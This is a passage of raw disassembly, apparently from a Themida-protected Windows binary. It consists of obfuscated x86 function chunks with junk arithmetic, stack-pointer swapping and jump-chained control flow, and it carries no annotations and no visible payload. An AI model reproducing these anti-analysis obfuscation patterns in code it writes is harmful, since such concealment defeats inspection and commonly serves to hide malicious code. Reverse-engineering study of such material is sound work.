; FUNCTION CHUNK AT 00564D9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564F4E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00565425 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566DDB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056760D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00568334 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00568932 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568A9B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569144 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005698FC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C56B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056CF3C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D823 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E5A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00570CA7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005718B8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572D35 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00573BEC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00574039 SIZE 0000000F BYTES
lodsd
add eax, 1A4446C0h
sub eax, 2C2D63BBh
add eax, ebx
sub esp, 4
mov [esp+4+var_4], edx
push 2C2D63BBh
pop edx
add eax, edx
pop edx
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
pop esp
jmp loc_5718B8
sub_560844 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_56087B: ; CODE XREF: sub_56E05C-8DE4j
add ebp, 9A3F4E94h
sub eax, ebp
pop ebp
push eax
push [esp+8+var_4]
pop eax
jmp loc_56343E
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_56088F: ; CODE XREF: sub_56D464+6j
mov [esp+4+var_4], eax
push 400h
jmp loc_5618C7
; END OF FUNCTION CHUNK FOR sub_56D464
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_56089C: ; CODE XREF: sub_56FD97-9F88j
mov [esp+4+var_4], ebp
push 23Ah
mov [esp+8+var_8], edx
pop ebp
mov edx, [esp+4+var_4]
add esp, 4
push ebp
mov ebp, 0FFFFFFFFh
add edx, 32735B14h
add edx, ebp
sub edx, 32735B14h
push [esp+4+var_4]
pop ebp
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56B3AA
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_5608DA: ; CODE XREF: sub_56102D+E155j
mov [esp+0], edi
push edx
jmp loc_563875
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_5608E3: ; CODE XREF: sub_570CE4-A6CAj
xchg ecx, [esp+14h+var_14]
jmp loc_569EE0
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_5608EB: ; CODE XREF: sub_5729F9-320Cj
shl bh, 8
shl bh, 3
jmp loc_56807C
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_5608F6: ; CODE XREF: sub_56DA43+1E18j
pop ebp
add esp, 4
add edx, 4
xchg edx, [esp+0]
pop esp
push [esp-4+arg_0]
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_562E5C
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_560912: ; CODE XREF: sub_561027+C8C8j
mov edi, 4
add ebx, edi
mov edi, [esp+0]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0]
pop esp
mov [esp-4+arg_0], ebx
jmp loc_56C283
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_560937: ; CODE XREF: sub_56C83E-18F1j
mov [esp+0], ebp
sub esp, 4
jmp loc_5735FF
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_560945: ; CODE XREF: sub_56E0B0-277Fj
xor edx, 0AA7088Eh
jmp loc_563555
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_560950: ; CODE XREF: sub_572641-6211j
mov edx, [esp+0]
push 4DC5h
mov [esp+4+var_4], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp+4+var_4]
xor [esp+4+var_4], edx
xor edx, [esp+4+var_4]
pop esp
mov [esp+0], ebx
push edx
mov dl, 39h
xor dl, 0ABh
neg dl
or dl, 36h
dec dl
push dx
not byte ptr [esp+6+var_8+2]
mov dx, word ptr [esp+6+var_8+2]
jmp loc_565693
; END OF FUNCTION CHUNK FOR sub_572641
; =============== S U B R O U T I N E =======================================
sub_5609A1 proc near ; CODE XREF: sub_5620B7+DA9Dj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056CC03 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005712E2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573B74 SIZE 00000009 BYTES
push ebx
mov ebx, 433C4466h
jmp loc_573B74
sub_5609A1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5609AC: ; CODE XREF: sub_571F6F-2E89j
pop edx
push [esp+8+var_8]
jmp loc_5641A4
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_5609B5: ; CODE XREF: sub_565632+6A74j
add esi, 4
sub esi, 4
xchg esi, [esp+0]
pop esp
mov [esp-4+arg_0], ebp
not [esp-4+arg_0]
pop ebp
push ebp
push [esp-4+arg_4]
pop ebp
pop [esp-4+arg_0]
push [esp-8+arg_4]
mov eax, [esp-4+arg_0]
jmp loc_570305
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
loc_5609DD: ; CODE XREF: Themida_:00568FA2j
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
jmp loc_56CB02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_5609EA: ; CODE XREF: sub_5605BC+13AEBj
push 764Ch
mov [esp+0Ch+var_C], ebx
push esp
pop ebx
jmp loc_56EC21
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
loc_5609F9: ; CODE XREF: Themida_:00561613j
add eax, 4
jmp loc_570489
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_560A03: ; CODE XREF: sub_560056+13F50j
pop esi
jmp loc_567724
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_560A09: ; CODE XREF: sub_574CDD-A7E0j
pop eax
push edi
not [esp+0Ch+var_C]
pop edi
shr edi, 3
jmp loc_567C9E
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_560A17: ; CODE XREF: sub_5604FE+14F37j
mov edi, 55D7554Ch
and edi, 2D009B8h
sub edi, 601E2366h
xchg ecx, edi
not ecx
xchg ecx, edi
not edi
jmp loc_56E319
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_560A35: ; CODE XREF: sub_56F3B2-2584j
add esp, 4
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_5671B2
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_560A43: ; CODE XREF: sub_56BD44-AAD0j
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
xchg eax, [esp+4+var_4]
jmp loc_56997A
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_560A58: ; CODE XREF: sub_5745B5+1j
push edx
push ecx
jmp loc_56A13E
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_560A5F: ; CODE XREF: sub_563819-2A26j
add eax, 29DB4243h
jmp loc_56260C
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56331C
loc_560A69: ; CODE XREF: sub_56331C+F543j
xchg ebx, [esp+0]
pop esp
sub eax, 4
xchg eax, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], edx
push 7BF81C5Bh
mov edx, [esp-4+arg_0]
jmp loc_56B3B6
; END OF FUNCTION CHUNK FOR sub_56331C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_560A84: ; CODE XREF: sub_56CC46-B4D8j
mov edx, 56052D42h
add edx, 0C6914C19h
xor ebp, edx
pop edx
xor ebp, 4074044Dh
add ecx, ebp
mov ebp, [esp+0Ch+var_C]
add esp, 4
shr ecx, 2
push edi
mov edi, 22575CCh
sub ecx, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
sub ecx, 71335301h
inc ecx
xor ecx, 0BEB718C2h
sub ebx, 65EC3865h
sub ebx, ecx
add ebx, 65EC3865h
pop ecx
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp-4+arg_0], edx
push 11h
jmp loc_566B48
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_560AE6: ; CODE XREF: sub_56102D+9D44j
shl eax, 8
jmp loc_56AA20
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5631A3
loc_560AEE: ; CODE XREF: sub_5631A3-2D6Cj
pop [esp+0Ch+var_C]
pop esp
jmp loc_5640F2
; END OF FUNCTION CHUNK FOR sub_5631A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_560AF7: ; CODE XREF: sub_564D26+C24Cj
mov [esp+20h+var_20], esi
push 7E360679h
jmp loc_57233B
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_560B04: ; CODE XREF: sub_56FB8A-5A02j
neg ebx
sub ebx, 6BA02385h
add ebx, 0F3834224h
add eax, ebx
jmp loc_5664C1
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_560B19: ; CODE XREF: sub_56D4B8+35C6j
push dword ptr [esp+0]
jmp loc_56AD12
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_560B21: ; CODE XREF: sub_5610CE+3F2Dj
mov ebx, 2CCF5EBDh
mov ebp, 151A4FF0h
jmp loc_56508C
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_560B30: ; CODE XREF: sub_574304-DAE6j
sub [esp+10h+var_C], 2E890F03h
sub [esp+10h+var_C], ecx
add [esp+10h+var_C], 2E890F03h
mov ecx, [esp+10h+var_10]
add esp, 4
mov edi, [esp+0Ch+var_C]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5729B4
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_560B61: ; CODE XREF: sub_574949-13927j
xor esi, 40487CC3h
add edi, esi
pop esi
jmp loc_5733E8
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_560B6F: ; CODE XREF: sub_57354D-4841j
and eax, edx
mov edx, [esp+8+var_8]
add esp, 4
shr eax, 10h
xor eax, ecx
jmp loc_56596B
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_560B84: ; CODE XREF: sub_5734A7+7j
pop edi
sub edi, 665E4601h
shl edi, 5
jmp loc_571B8F
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574503
loc_560B93: ; CODE XREF: sub_574503-73CAj
add edi, ebx
jmp loc_575210
; END OF FUNCTION CHUNK FOR sub_574503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_560B9A: ; CODE XREF: sub_5733CA-CAB6j
pop esp
jmp loc_570925
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_560BA0: ; CODE XREF: sub_568E5C+AA71j
sub esi, edx
sub esi, 51B715B1h
pop edx
xchg esi, [esp+0]
jmp loc_56F187
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA36
loc_560BB1: ; CODE XREF: sub_56DA36+39CDj
add esp, 4
jmp sub_56ACDE
; END OF FUNCTION CHUNK FOR sub_56DA36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_560BB9: ; CODE XREF: sub_561027+8C47j
xchg ebx, [esp-4+arg_0]
push [esp-4+arg_0]
mov eax, [esp+0]
jmp loc_562D37
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_560BC7: ; CODE XREF: sub_566C83+1AAj
or ebp, 2F853CA2h
dec ebp
xor ebp, 2FFD3FB9h
add edx, ebp
pop ebp
jmp loc_5741C9
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_560BDC: ; CODE XREF: sub_56AB5E-80D3j
movzx eax, al
jmp loc_56CF46
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_560BE4: ; CODE XREF: sub_560844+BD35j
add ecx, 0F593CDFBh
add esi, ecx
pop ecx
push edx
mov edx, 3DC4224Dh
and edx, 77216FC7h
jmp loc_568932
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BDE9
loc_560BFE: ; CODE XREF: sub_56BDE9+11j
pop edx
xchg ebx, [esp+4+var_4]
pop esp
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
shl [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56BDE9
; =============== S U B R O U T I N E =======================================
sub_560C12 proc near ; DATA XREF: Themida_:0055FD94o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0056022D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00561281 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005625CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564659 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00565CC2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567FB6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568D7A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056BF51 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0057156B SIZE 00000011 BYTES
mov ax, [esp+0]
push 6BBFh
mov [esp+4+var_4], edi
push ebx
mov ebx, esp
jmp loc_57156B
sub_560C12 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_560C26: ; CODE XREF: sub_57549C-39F6j
xor ecx, ebx
jmp loc_57469F
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_560C2D: ; CODE XREF: sub_561541+10848j
pop ebx
push eax
push esp
pop eax
jmp loc_56147B
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_560C36: ; CODE XREF: sub_569B75-9618j
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
mov ecx, 48C9CD95h
xor eax, ecx
mov ecx, [esp-4+arg_0]
jmp sub_5687A3
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_560C54: ; CODE XREF: sub_56241E+547j
mov cx, word ptr [esp+6+var_8+2]
jmp loc_5623A1
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
loc_560C5D: ; CODE XREF: Themida_:00563D8Cj
shr ebp, 1
push eax
mov eax, 20A76F35h
add ebp, eax
pop eax
sub ebp, 83F0BF8h
sub esp, 4
mov [esp], eax
jmp loc_56E443
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_560C7C: ; CODE XREF: sub_567049+DBECj
add esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_564467
; END OF FUNCTION CHUNK FOR sub_567049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5642C7
loc_560C8B: ; CODE XREF: sub_5642C7+9j
pop ebx
jmp loc_561B09
; END OF FUNCTION CHUNK FOR sub_5642C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_560C91: ; CODE XREF: sub_56AEF2+9895j
or esi, 19BE3A0Dh
neg esi
not esi
add esi, 0E601C1F8h
add ebp, esi
pop esi
xchg ebp, [esp-4+arg_0]
jmp loc_57457B
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_562AF2
; ---------------------------------------------------------------------------
loc_560CB5: ; CODE XREF: Themida_:0056A114j
add esp, 4
push edx
jmp loc_5685C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_560CBE: ; CODE XREF: sub_5685B2-3DD2j
push eax
mov ah, 37h
push ecx
mov cl, 88h
sub esp, 4
mov [esp+8+var_8], ebx
mov bh, 61h
sub cl, bh
mov ebx, [esp+8+var_8]
add esp, 4
neg cl
jmp loc_56B615
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_560CE1: ; CODE XREF: sub_561418+A796j
mov edx, 36163Ah
push ebp
mov ebp, 1D2F056Dh
jmp loc_56791A
; END OF FUNCTION CHUNK FOR sub_561418
; =============== S U B R O U T I N E =======================================
sub_560CF1 proc near ; CODE XREF: sub_56FCD7-A7D1j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560789 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561746 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005619AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005639E7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056568B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565DBC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056619E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A065 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A5A9 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056FEF4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570005 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057033B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572AA6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00573E7C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0057478C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00575132 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], edx
push 5471h
mov [esp+8+var_8], ecx
mov ecx, 657717C1h
mov edx, 657716C1h
xor edx, ecx
mov ecx, [esp+8+var_8]
jmp loc_573E7C
sub_560CF1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_560D16: ; CODE XREF: sub_561027+13589j
pop edx
push edi
jmp loc_570A1B
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_560D1D: ; CODE XREF: sub_56EFD2-671Ej
add edi, ebp
sub edi, 5D9A5487h
push [esp+4+var_4]
pop ebp
add esp, 4
jmp loc_562F18
; END OF FUNCTION CHUNK FOR sub_56EFD2
; =============== S U B R O U T I N E =======================================
sub_560D31 proc near ; CODE XREF: sub_562954+105F5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056392A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005683DD SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00568AAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00568C2F SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00570B05 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00573B7D SIZE 0000002A BYTES
push ebx
mov ebx, 636235EDh
sub ebp, 32DD4972h
add ebp, ebx
push edi
mov edi, 1B4359FBh
neg edi
sub edi, 1
xor edi, 0D661EF76h
add ebp, edi
pop edi
jmp loc_570B05
sub_560D31 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_560D5B: ; CODE XREF: sub_563BCC+32AFj
pop edi
add edi, 4
jmp loc_566728
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_560D67: ; CODE XREF: sub_56959A+19j
mov [esp+0Ch+var_C], eax
mov eax, 6CE405B1h
and eax, 2C451168h
inc eax
and eax, 38F81530h
jmp loc_572B7C
; END OF FUNCTION CHUNK FOR sub_56959A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_560D7F: ; CODE XREF: sub_56638C+A749j
add eax, 1A980468h
add edx, eax
pop eax
push [esp+2+var_4+2]
pop ebx
add esp, 4
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
movzx cx, al
push small 95Fh
mov [esp+0], cx
jmp loc_5710F7
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_560DAE: ; CODE XREF: sub_5685B2+3068j
or ah, cl
push [esp+4+var_4]
pop ecx
jmp loc_561B28
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_560DB9: ; CODE XREF: sub_5604FE+C388j
add esp, 4
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
pop esp
jmp loc_57434B
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_560DCE: ; CODE XREF: sub_560EA2+11FA5j
sub ecx, 68BC3DC5h
sub ecx, ebx
add ecx, 68BC3DC5h
jmp loc_57100B
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_560DE1: ; CODE XREF: sub_571F6F-DDAFj
pop ecx
jmp loc_56DE94
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_560DE7: ; CODE XREF: sub_563819+6j
mov eax, 57EC76A7h
sub eax, 29DB4243h
sub eax, ebp
jmp loc_560A5F
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_560DF8: ; CODE XREF: sub_561027+85A3j
add esp, 4
push ecx
mov ecx, 513E79FBh
add ecx, 1195E843h
add edx, ecx
pop ecx
push [esp-4+arg_0]
pop ebp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
and eax, edx
pop edx
jmp loc_572A28
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_560E29: ; CODE XREF: sub_5610CE+1363Bj
pop ebp
add esi, 4
xor esi, [esp+4+var_4]
jmp loc_563E62
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_560E35: ; CODE XREF: sub_56DA43+43FCj
add esi, 4
jmp loc_56505A
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_560E40: ; CODE XREF: sub_5620B7+34ECj
xor bl, al
push 52AAh
mov [esp], edx
push 59C4471Dh
pop edx
add edx, 2BB05464h
shr edx, 3
jmp loc_568C75
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
loc_560E5E: ; CODE XREF: Themida_:00562355j
push ebx
jmp loc_573C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_560E64: ; CODE XREF: sub_569FB8+3j
push small 68B9h
jmp loc_571BE6
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_560E6D: ; CODE XREF: sub_57354D-63Bj
push esi
mov esi, 5C711D79h
or esi, 57865D78h
jmp loc_5682F5
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_560E7E: ; CODE XREF: sub_574000-9BA4j
not eax
neg eax
xor eax, 0CFF71D8h
add esi, eax
pop eax
pop ebp
jmp loc_570360
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_560E90: ; CODE XREF: sub_574949-FF16j
sub cl, 0DAh
inc cl
push edx
mov dh, 56h
add dh, 0E0h
not dh
jmp loc_56514F
; END OF FUNCTION CHUNK FOR sub_574949
; =============== S U B R O U T I N E =======================================
sub_560EA2 proc near ; DATA XREF: Themida_:0055FE48o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560DCE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563060 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563417 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005643DE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005655C1 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005679D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00568206 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0056B7F0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056BECD SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0056D31C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056DDFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056EE17 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057100B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00571792 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00572B46 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00572D66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572E36 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573F4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057436C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00574DF9 SIZE 00000031 BYTES
lodsd
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 49C139Eh
sub eax, ebx
mov ebx, [esp+4+var_4]
jmp loc_5679D6
sub_560EA2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_560EB8: ; CODE XREF: sub_574304-D7DDj
mov ecx, 123A483Ch
jmp loc_56D89C
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
mov ax, [esp]
push 361Bh
mov [esp], edi
jmp loc_56A3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_560ED3: ; CODE XREF: sub_5678CB+CE6Aj
pop esp
mov [esp-4+arg_0], edx
